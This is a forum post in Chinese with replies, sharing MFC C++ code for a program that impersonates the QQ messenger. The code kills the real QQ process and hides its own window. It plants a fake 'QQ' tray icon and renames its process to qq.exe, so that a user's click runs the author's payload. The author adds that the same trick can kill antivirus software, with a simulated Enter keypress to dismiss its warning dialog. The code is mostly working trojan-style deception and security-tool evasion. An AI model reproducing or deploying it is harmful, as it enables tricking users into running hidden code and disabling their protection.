首页
社区
课程
招聘
[原创][原创]另类骗取程序执行的方式(菜鸟总结)
发表于: 2010-12-1 01:21 6401

[原创][原创]另类骗取程序执行的方式(菜鸟总结)

2010-12-1 01:21
6401
[废话不说了,因为知道我这东西没什么技术含量,只是本人第一次写代码,而且成功了纪念一下。。。。
    功能:截获qq 图标来运行自己的程序
    工具:vc++(MFC)
      先介绍:使用流程。。。。。。
    1.点击长得很像qq的图标(由于 没找到qq的原始图标 所以搞了个赝品代替);
      
           
    2.鉴于大多数人 ,大多数情况都会登qq ,所以很快就代替qq  右下角的运行图标;
       
    3.只要左击就执行自己的程序,我这里 就用杀掉qq音乐来演示(当然这个地方可以添加自己的东西)
      
         
             

    代码中 注意的问题: 
    1. 要让原进程运行的图标不能显示在任务栏
    2.而且要将其加入qq 正真的位置,供用户点击(即托盘)
    3.对进程名 改写(这里自己的进程在任务管理器中 设为 小写qq.exe)

具体代码块大致是这样的:

        CWnd *pwnd=FindWindow("ProgMan",NULL);
        this->SetParent(pwnd);                                     //在mfc中让对话框程序在任 务栏中进行图标隐藏

        this->ShowWindow(SW_SHOWMINIMIZED); // 结合上面最小化  达到 隐藏界面

        //底下就对目标进程收索 和kill
        char strDIR1[]="QQ.exe";
        PROCESSENTRY32        pe32={sizeof(pe32)};
        HANDLE        hProcessShot=::CreateToolhelp32Snapshot
               (TH32 CS_SNAPPROCESS,0);
        if(hProcessShot==INVALID_HANDLE_VALUE)
                ::MessageBox(this->m_hWnd,"错误","调用错误",MB_OK);
        else
        {
                if(::Process32First(hProcessShot,&pe32))
                {
                        do{
                                if(strcmp(pe32.szExeFile,strDIR1)==0)
                                {
              HANDLE hProcess=::OpenProcess(PROCESS_TERMINATE,FALSE,pe32.th32               ProcessID);
                        ::TerminateProcess(hProcess,-1);
                                       
                                }
                        }while(::Process32Next(hProcessShot,&pe32));
               
               
               
                }
        }

右击要干的事情:(可以自己添加)
void CENUMPROCESSDlg::OnOK()
{
        // TODO: Add extra validation here
        char strDIR2[]="QQMusic.exe";
        PROCESSENTRY32        pe32={sizeof(pe32)};
        HANDLE        hProcessShot=::CreateToolhelp32Snapshot
             (TH32CS_SNAPPROCESS,0);
        if(hProcessShot==INVALID_HANDLE_VALUE)
                ::MessageBox(this->m_hWnd,"错误","调用错误",MB_OK);
        else
        {
                if(::Process32First(hProcessShot,&pe32))
                {
                        do{
                                if(strcmp(pe32.szExeFile,strDIR2)==0)
                                {
                                             HANDLE   hProcess=::OpenProcess (  PROCESS_TERMINATE,FALSE,pe32.th32ProcessID);
                ::TerminateProcess(hProcess,-1);
                                       
                                }
                        }while(::Process32Next(hProcessShot,&pe32));
               
               
               
                }
       
       
       
        }

托盘建立和事件相应:
  int CENUMPROCESSDlg::OnCreate(LPCREATESTRUCT lpCreateStruct)
{
        if (CDialog::OnCreate(lpCreateStruct) == -1)
                return -1;
       
        // TODO: Add your specialized creation code here
                         NOTIFYICONDATA   tnd;   
            tnd.cbSize=sizeof(NOTIFYICONDATA);
            tnd.hWnd=this-> m_hWnd;
            tnd.uID=IDR_MAINFRAME;
            tnd.uFlags=NIF_MESSAGE|NIF_ICON|NIF_TIP;
            tnd.uCallbackMessage=WM_LIBEN;    //自定义的消息
            tnd.hIcon=LoadIcon(AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_ICON1));   
            strcpy(tnd.szTip, "QQ");
            Shell_NotifyIcon(NIM_ADD,&tnd);

        return 0;
}

void  CENUMPROCESSDlg::OnLiben(WPARAM   wParam,LPARAM   lParam)
{
                  UINT   uID;//发出该消息的图标的ID
          UINT   uMouseMsg;//鼠标动作
          POINT   pt;
          uID=(UINT)   wParam;
          uMouseMsg=(UINT)   lParam;
        
                          if(uMouseMsg==WM_LBUTTONDOWN)
                          {
                                  this->OnOK();  //正真目的调用的函数,也可  在此处添加 自己的消息处理,执行相应的代码
                          }
                                                 return;   
}

当然最重要的不是上面把qq换掉,而是 把杀软换掉:
1.照着上面的步骤关闭杀软,通常情况下他会弹出对话框
2.用模拟键盘 写enter 就可以了。。

具体重要点的代码就这么多,函数很简单 。。。也没写太多。。
在看雪: 每天进步一点点。。。
貌似nod 可以直接将它x掉,360不会阻止,现在杀软,太强了,又没干嘛,他就干掉了。。

执行文件:
ATTACH]51756[/ATTACH]

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 7
支持
分享
最新回复 (7)
雪    币: 1149
活跃值: (833)
能力值: ( LV13,RANK:260 )
在线值:
发帖
回帖
粉丝
2
有需要的 我可以上传 源文件。。。。
2010-12-1 01:48
0
雪    币: 106
活跃值: (63)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
喔...楼主勤快...
   360不会阻止 楼主程序杀掉 扣扣 的原因 = =楼主懂的..   
支持1下...
2010-12-1 01:59
0
雪    币: 1149
活跃值: (833)
能力值: ( LV13,RANK:260 )
在线值:
发帖
回帖
粉丝
4
我又没在里面做什么 只是结束qq ,目的是骗取 点击 执行自己的东西。。所以360  应该不会阻止我的行为。。。
2010-12-1 02:01
0
雪    币: 106
活跃值: (63)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
其实我说得是 360 和扣扣吵架后,果断分手了,360不再关心扣扣 (纯属题外话)
2010-12-1 02:06
0
雪    币: 208
活跃值: (18)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
不明白你费这么多劲干什么?你的目的 是骗取用户点击 自己执行东西???既然程序已经运行了,那就可以为所欲为了,费这么多周折干吗?
2010-12-2 14:37
0
雪    币: 207
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
楼主火星来的,已经运行了,我还怕啥?想干啥就能干啥。

我估计是,他想通过让 别人下载,下载了迷惑别人运行

或者是 隐藏在 多个文件夹中,被杀后,再复活!
2010-12-5 13:18
0
雪    币: 1149
活跃值: (833)
能力值: ( LV13,RANK:260 )
在线值:
发帖
回帖
粉丝
8
很简单的东西, 就是很容易让别人误解。。鸭梨大。。
2010-12-5 13:31
0
游客
登录 | 注册 方可回帖
返回
//